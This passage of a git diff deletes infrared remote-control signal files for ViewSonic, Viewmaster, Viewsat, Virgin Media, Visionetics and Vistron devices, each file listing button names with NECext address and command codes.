-type: parsed -protocol: NECext -address: 83 F1 00 00 -command: 12 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 83 F1 00 00 -command: 13 00 00 00 -# -name: P.INPUT -type: parsed -protocol: NECext -address: 83 F1 00 00 -command: 17 00 00 00 -# -name: SWAP -type: parsed -protocol: NECext -address: 83 F1 00 00 -command: 1A 00 00 00 -# -name: FREEZE -type: parsed -protocol: NECext -address: 83 F1 00 00 -command: 1B 00 00 00 -# -name: INPUT -type: parsed -protocol: NECext -address: 83 F1 00 00 -command: 1E 00 00 00 -# -name: C.C -type: parsed -protocol: NECext -address: 83 F1 00 00 -command: 21 00 00 00 -# -name: WIDE -type: parsed -protocol: NECext -address: 83 F1 00 00 -command: 24 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 83 F1 00 00 -command: 25 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 83 F1 00 00 -command: 26 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 83 F1 00 00 -command: 27 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 83 F1 00 00 -command: 28 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 83 F1 00 00 -command: 29 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 83 F1 00 00 -command: 2A 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 83 F1 00 00 -command: 2B 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 83 F1 00 00 -command: 2C 00 00 00 -# -name: TV/DTV -type: parsed -protocol: NECext -address: 83 F1 00 00 -command: 40 00 00 00 -# -name: MTS -type: parsed -protocol: NECext -address: 83 F1 00 00 -command: 45 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 83 F1 00 00 -command: 70 00 00 00 -# -name: SOUND -type: parsed -protocol: NECext -address: 83 F1 00 00 -command: 74 00 00 00 -# -name: P.POS -type: parsed -protocol: NECext -address: 83 F1 00 00 -command: 75 00 00 00 -# -name: PIP/POP -type: parsed -protocol: NECext -address: 83 F1 00 00 -command: 76 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 83 F1 00 00 -command: 77 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 83 F1 00 00 -command: 78 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 83 F1 00 00 -command: 79 00 00 00 -# -name: PICTURE -type: parsed -protocol: NECext -address: 83 F1 00 00 -command: 81 00 00 00 -# -name: V-CHIP -type: parsed -protocol: NECext -address: 83 F1 00 00 -command: 82 00 00 00 -# -name: P.SIZE -type: parsed -protocol: NECext -address: 83 F1 00 00 -command: 83 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ViewSonic/Unknown_vsnv6/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ViewSonic/Unknown_vsnv6/0,-1.ir deleted file mode 100644 index 5a829671c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ViewSonic/Unknown_vsnv6/0,-1.ir +++ /dev/null @@ -1,176 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: pop -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: pip -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: input -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: sel -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1F 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 40 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 41 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 42 00 00 00 -# -name: freeze -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 44 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Viewmaster/Unknown_RC-03/73,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Viewmaster/Unknown_RC-03/73,-1.ir deleted file mode 100644 index 39ca7e7ff..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Viewmaster/Unknown_RC-03/73,-1.ir +++ /dev/null @@ -1,278 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: flat -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 00 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 01 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 02 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 03 00 00 00 -# -name: sharp -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 04 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 05 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 06 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 07 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 08 00 00 00 -# -name: rev -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 09 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 0B 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 0D 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 0E 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 0F 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 10 00 00 00 -# -name: frev -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 11 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 12 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 13 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 15 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 16 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 17 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 18 00 00 00 -# -name: a-b -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 19 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 40 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 41 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 42 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 43 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 44 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 45 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 46 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 47 00 00 00 -# -name: p/n -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 49 00 00 00 -# -name: digest -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 4A 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 4B 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 4C 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 4D 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 4E 00 00 00 -# -name: resume -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 4F 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 50 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 51 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 52 00 00 00 -# -name: goto -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 53 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 54 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 55 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 56 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 57 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Viewsat/Unknown_SAT/32,255.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Viewsat/Unknown_SAT/32,255.ir deleted file mode 100644 index 1551679ba..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Viewsat/Unknown_SAT/32,255.ir +++ /dev/null @@ -1,236 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 00 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 02 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 03 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 04 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 05 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 06 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 07 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 08 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 09 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 0A 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 0A 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 0B 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 0B 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 0C 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 0C 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 0D 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 0D 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 0E 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 0F 00 00 00 -# -name: KEY_PAGEUP -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 10 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 11 00 00 00 -# -name: KEY_SAT -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 12 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 13 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 14 00 00 00 -# -name: NTSC/PAL -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 15 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 16 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 17 00 00 00 -# -name: KEY_F1 -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 18 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 19 00 00 00 -# -name: CH-Return -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 1A 00 00 00 -# -name: Music/TV -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 1B 00 00 00 -# -name: KEY_F4 -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 1C 00 00 00 -# -name: KEY_PAGEDOWN -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 1D 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 1E 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 1F 00 00 00 -# -name: KEY_F2 -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 40 00 00 00 -# -name: KEY_F3 -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 41 00 00 00 -# -name: KEY_HELP -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 42 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Viewsat/Unknown_VS2000/32,255.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Viewsat/Unknown_VS2000/32,255.ir deleted file mode 100644 index d5b41d21b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Viewsat/Unknown_VS2000/32,255.ir +++ /dev/null @@ -1,236 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 00 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 02 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 03 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 04 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 05 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 06 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 07 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 08 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 09 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 0A 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 0A 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 0B 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 0B 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 0C 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 0C 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 0D 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 0D 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 0E 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 0F 00 00 00 -# -name: KEY_PAGEUP -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 10 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 11 00 00 00 -# -name: KEY_SAT -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 12 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 13 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 14 00 00 00 -# -name: input -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 15 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 16 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 17 00 00 00 -# -name: f1 -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 18 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 19 00 00 00 -# -name: KEY_LAST -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 1A 00 00 00 -# -name: KEY_RADIO -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 1B 00 00 00 -# -name: f4 -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 1C 00 00 00 -# -name: KEY_PAGEDOWN -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 1D 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 1E 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 1F 00 00 00 -# -name: f2 -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 40 00 00 00 -# -name: f3 -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 41 00 00 00 -# -name: color -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 42 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Virgin-media/Unknown_VIRGINTIVO/10,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Virgin-media/Unknown_VIRGINTIVO/10,-1.ir deleted file mode 100644 index 2c0505833..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Virgin-media/Unknown_VIRGINTIVO/10,-1.ir +++ /dev/null @@ -1,260 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 0C 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 13 00 00 00 -# -name: KEY_LAST -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 14 00 00 00 -# -name: MYSHOWS -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 15 00 00 00 -# -name: THUMBSDOWN -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 16 00 00 00 -# -name: THUMBSUP -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 17 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 18 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 19 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 1A 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 20 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 21 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 22 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 2A 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 2B 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 2F 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 30 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 32 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 34 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 36 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 37 00 00 00 -# -name: KEY_HOME -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 4F 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 50 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 51 00 00 00 -# -name: KEY_EPG -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 52 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 53 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 55 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 56 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 57 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6A 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6B 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6C 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6D 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Visionetics/Unknown_Cable/134,107.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Visionetics/Unknown_Cable/134,107.ir deleted file mode 100644 index 128ff4d26..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Visionetics/Unknown_Cable/134,107.ir +++ /dev/null @@ -1,110 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 09 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0A 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0C 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0E 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 10 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 12 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 13 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 15 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 17 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Vistron/Unknown_DVD-5211/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Vistron/Unknown_DVD-5211/0,-1.ir deleted file mode 100644 index e174e1404..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Vistron/Unknown_DVD-5211/0,-1.ir +++ /dev/null @@ -1,254 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: V-Mode -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_0+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: Display -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: Rev -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_LANGUAGE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: Program -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: Step -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: KEY_OPEN -type: parsed 